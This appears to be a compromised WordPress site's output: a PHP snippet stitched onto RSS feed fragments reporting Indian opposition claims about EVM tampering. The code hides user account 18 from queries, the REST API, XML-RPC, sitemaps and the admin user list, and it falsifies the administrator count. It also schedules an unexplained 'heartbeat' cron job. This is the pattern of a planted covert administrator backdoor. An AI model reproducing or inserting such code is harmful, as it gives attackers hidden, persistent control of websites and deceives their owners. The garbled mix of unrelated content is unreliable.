add_action( 'pre_get_posts', function( $q ) {
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} );

add_action( 'pre_user_query', function( $q ) {
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add_action( 'pre_get_users', function( $q ) {
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        return;
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    $exclude   = (array) $q->get( 'exclude' );
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    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
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    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
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    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
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        $methods['wp.getUser'],
        $methods['wp.getProfile']
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    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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					<description><![CDATA[<p>The Congress has claimed that the transportation of voting machines at nighttime is questionable, citing anomalies in the storage and handling of EVMs in various areas of India. Rajeev Shukla, a Congress politician, spoke at a news conference in New Delhi on Tuesday, urging the Election Commission to take remedial action to ensure the integrity [&#8230;]</p>
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										<content:encoded><![CDATA[<p>The Congress has claimed that the transportation of voting machines at nighttime is questionable, citing anomalies in the storage and handling of EVMs in various areas of India. Rajeev Shukla, a Congress politician, spoke at a news conference in New Delhi on Tuesday, urging the Election Commission to take remedial action to ensure the integrity of the voting process.</p>
<p>&#8220;We have got allegations of strange movement of EVMs in Ghazipur, Jhansi, Dumariyaganj, Saran, Chamoli, Fatehabad, and Punjab as well,&#8221; Congress spokesperson Rajeev Shukla told reporters at the party&#8217;s headquarter.</p>
<p>According to Rajeev Shukla, a team of opposition parties would discuss the issue with the Election Commission on Tuesday.</p>
<p>The post <a href="https://theedgemedia.in/congress-accuses-bjp-for-tempering-evms">Congress Accuses BJP For Tempering EVMs</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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					<description><![CDATA[<p>Akhilesh Yadav, the leader of the Samajwadi Party, has voiced concerns over the integrity of the Electronic Voting Machines prior to the announcement of the Uttar Pradesh Assembly electoral results on March 10. Akhilesh Yadav alleged Election Commission staff of manipulating with EVMs during a news conference on Tuesday, saying he no longer have faith [&#8230;]</p>
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<p>The SP head further claimed that the Varanasi District Magistrate (DM) was transferring EVMs without providing local representatives with any knowledge, and he requested the EC to investigate.</p>
<p>Akhilesh Yadav took to Twitter to say that the news of the EVMs being discovered in Varanasi is sending a warning to every assembly in Uttar Pradesh to be on the lookout.</p>
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